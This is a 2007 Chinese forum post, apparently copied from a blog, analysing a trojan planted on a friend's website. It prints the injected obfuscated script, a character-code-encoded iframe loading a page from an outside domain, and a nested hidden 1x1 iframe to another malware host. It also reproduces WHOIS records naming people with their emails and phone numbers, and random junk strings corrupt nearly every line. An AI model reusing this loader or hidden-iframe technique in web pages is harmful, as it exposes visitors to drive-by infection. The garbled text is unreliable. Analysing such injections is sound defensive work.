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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, #TeAw<2U  
``rYzj_  
http://www.areway.cn/?p=175 <0jM07\<  
'68#7Hs.  
Ch~y;C&e+r  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: [V5,1dmkI  
          =xb/zu(  
<script>t=’60,105,102,114,97,109,101, /7-FVqDx8  
32,115,114,99,61,104,116,116,112,58,47,47, `)BZk[64  
102,114,101,101,46,117,45,117,117,117,46,99, 0AhUH| ]  
110,47,101,114,114,111,114,46,104,116,109, 0p\Kf(|E*6  
32,119,105,100,116,104,61,49,48,48,32,104, IZd~Am3f  
101,105,103,104,116,61,48,62,60,47,105,102, A43[i@o  
114,97,109,101,62′; H87k1^}HV  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> jHx\YK@e\  
                                                                                                  lg^Lk\Y+re  
<script>t=’60,105,102,114,97,109,101,32,115, ,}I m^~5  
114,99,61,104,116,116,112,58,47,47,102,114, f67pvyy -  
101,101,46,117,45,117,117,117,46,99,110,47, WO^]bR  
101,114,114,111,114,46,104,116,109,32,119, 7sVO?:bj}  
105,100,116,104,61,49,48,48,32,104,101,105, v\}{eP'  
103,104,116,61,48,62,60,47,105,102,114,97, [Qqss8a  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ZiaFByLy  
document.write(t);</script> )E6E}  
                                                                                                  UyDq`@h  
<html xmlns=” 1ZvXRJ)%  
http://www.w3.org/1999/xhtml %F:; A  
“> g12.4+  
<head> T[J8zL O  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> #V Z js`d6  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ykxAm\O  
<title>首页 - 爱生活家庭网 <DEu]-'>  
                                                                                                                                                    8N4E~*>C  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 jgfr_"@A  
转换字符串后的大概内容是(谁点击后果自付): ?|n@ %'  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… X%`:waR  
                                                                                                                                  ]BmnE#n&  
查询玉米u-uuu.cn的详细信息: Nlu]f-i':  
Domain Name: u-uuu.cn t^~itlE{  
ROID: 20070901s10001s64972306-cn r[2*K 9  
Domain Status: ok sAF="uB  
Registrant Organization: 王雷 shVEAT'`  
Registrant Name: 王雷 |HwEwL+  
Administrative Email: czlovexs@126.com  D28>e  
Sponsoring Registrar: 北京万网志成科技有限公司 q$}gQ9'z'  
Name Server:ns.yovole.com 71\GK  
Name Server:ns1.yovole.com OM@z5UP  
Registration Date: 2007-09-01 17:54 $ao7pvU6  
Expiration Date: 2008-09-01 17:54 FbW$H]C$  
最后PING了一下地址 都没有什么…. >U]KPL[%  
                                                                                                _gl1Qtv@rf  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. (Hs,Tj  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> x l=i_  
<script language=”javascript” src=” Z55C4F5v  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &=wvlI52`  
> }8`>n4  
这个玉米应该有可能是木马作者的: *mW2vJ/B  
foafau.info的详细信息: vxrqUjK7  
Access to INFO WHOIS information is provided to assist persons in Mh}vr%0;)  
determining the contents of a domain name registration record in the YuoIhT  
Afilias registry database. The data in this record is provided by 7~L_>7 ;  
Afilias Limited for informational purposes only, and Afilias does not -NA2+].  
guarantee its accuracy.  This service is intended only for query-based O5*3 qJp  
access. You agree that you will use this data only for lawful purposes Nema>T]  
and that, under no circumstances will you use this data to: (a) allow, C)%qs]  
enable, or otherwise support the transmission by e-mail, telephone, or  C8} ;,  
facsimile of mass unsolicited, commercial advertising or solicitations R|_._Btu!  
to entities other than the data recipient’s own existing customers; or ,z> w^_  
(b) enable high volume, automated, electronic processes that send VWqZ`X  
queries or data to the systems of Registry Operator, a Registrar, or wv Mp~  
Afilias except as reasonably necessary to register domain names or +HG*T[%/  
modify existing registrations. All rights reserved. Afilias reserves P4 #j;k4P  
the right to modify these terms at any time. By submitting this query, KD- -w(4  
you agree to abide by this policy. `A8ErfA  
Domain ID:D22418703-LRMS sR)jZpmC(  
Domain Name:FOAFAU.INFO 9d!mGnl  
Created On:20-Nov-2007 16:05:42 UTC nt%p@e!,  
Last Updated On:20-Nov-2007 16:05:44 UTC Hv%$6,/*v  
Expiration Date:20-Nov-2008 16:05:42 UTC V$dhiP z  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) BW"24JhF"  
Status:CLIENT DELETE PROHIBITED `dRqheX  
Status:CLIENT RENEW PROHIBITED 6wZ)GLW[  
Status:CLIENT TRANSFER PROHIBITED kX+98?h-C  
Status:CLIENT UPDATE PROHIBITED `^h:} V  
Status:TRANSFER PROHIBITED /+m2|Ij(  
Registrant ID:GODA-040110615 %pf9Yd0t  
Registrant Name:liu hong 6r`Xi&  
Registrant Organization: 4I*'(6 ,!  
Registrant Street1:beijing 1had8K-  
Registrant Street2: fm q(!  
Registrant Street3: NB-%Tp*d  
Registrant City:beijing R{Cbp=3J  
Registrant State/Province: K'f2 S  
Registrant Postal Code:100000 `Io#440;  
Registrant Country:CN h,,B"vPS  
Registrant Phone:+86.860108888777 eL{$=Um  
Registrant Phone Ext.: A,3qjd,$ c  
Registrant FAX: eDvh3Y<D  
Registrant FAX Ext.: >=.3Vydi1  
Registrant Email:bbbshiji@163.com )c532 y  
Admin ID:GODA-240110615 UKPr[  
Admin Name:liu hong nwIj?(8x  
Admin Organization: e&!8UYP  
Admin Street1:beijing $xjfW/k?M  
Admin Street2: PX`xr1o  
Admin Street3: 6E.[F\u  
Admin City:beijing s-~`Ao' <  
Admin State/Province: DgB;6Wl  
Admin Postal Code:100000 _CBMU'V  
Admin Country:CN "/Gw`^t  
Admin Phone:+86.860108888777 c:<a"$  
Admin Phone Ext.: Z$zX%w  
Admin FAX: Jm"W+! E  
Admin FAX Ext.: xC}'"``s  
Admin Email:bbbshiji@163.com @jrxbo;5  
Billing ID:GODA-340110615 <qEBF`XP=  
Billing Name:liu hong A;o({9VH`Z  
Billing Organization: m;L 3c(r.  
Billing Street1:beijing 7xYz9r)w`  
Billing Street2: )g }G{9M^  
Billing Street3: h0I5zQZm  
Billing City:beijing t D4-Llj6  
Billing State/Province: I&<'A [vHl  
Billing Postal Code:100000 1aUg({  
Billing Country:CN '(g;nU<  
Billing Phone:+86.860108888777 m_,Jbf  
Billing Phone Ext.: cvhwd\  
Billing FAX: XL'\$f  
Billing FAX Ext.: yB 'C9wEH  
Billing Email:bbbshiji@163.com +wQ}ZP&  
Tech ID:GODA-140110615 l}&2A*c.  
Tech Name:liu hong M0OIcMTv  
Tech Organization: k4E9=y?  
Tech Street1:beijing B+Ft  >  
Tech Street2: KVUub'k  
Tech Street3: $`lm]} {&  
Tech City:beijing dczSW ]%  
Tech State/Province: ]Tg@wMgI  
Tech Postal Code:100000 2 )3oX  
Tech Country:CN %5nEyZOq  
Tech Phone:+86.860108888777 %~,Fe7#p  
Tech Phone Ext.: Wu(^k25  
Tech FAX: _x^rHADp  
Tech FAX Ext.: M9m~ck  
Tech Email:bbbshiji@163.com uh\Tf5  
Name Server:NS27.DOMAINCONTROL.COM u|6-[I  
Name Server:NS28.DOMAINCONTROL.COM oK$Krrs0&  
Name Server: #M5d,%?+#[  
Name Server: t)rPXvx}!  
Name Server: nHRk2l|  
Name Server: _6'@#DN  
Name Server: .rnT'""i<5  
Name Server: 'hV(1Mw  
Name Server: Upcx@zJ  
Name Server: #,1z=/d.  
Name Server: lNl.lI\t)y  
Name Server: aAG']y  
Name Server: k GYsjhL\d  
                                                                                                          lnm@DWhf  
接着下载每个文件里面的代码: nwC*w`4  
一步一步看.. lnLy"f"zV  
.D\oKhV(  
'cQ,;y  
?mSZQF:d@  
*<6dB#' J  
-Dy<B  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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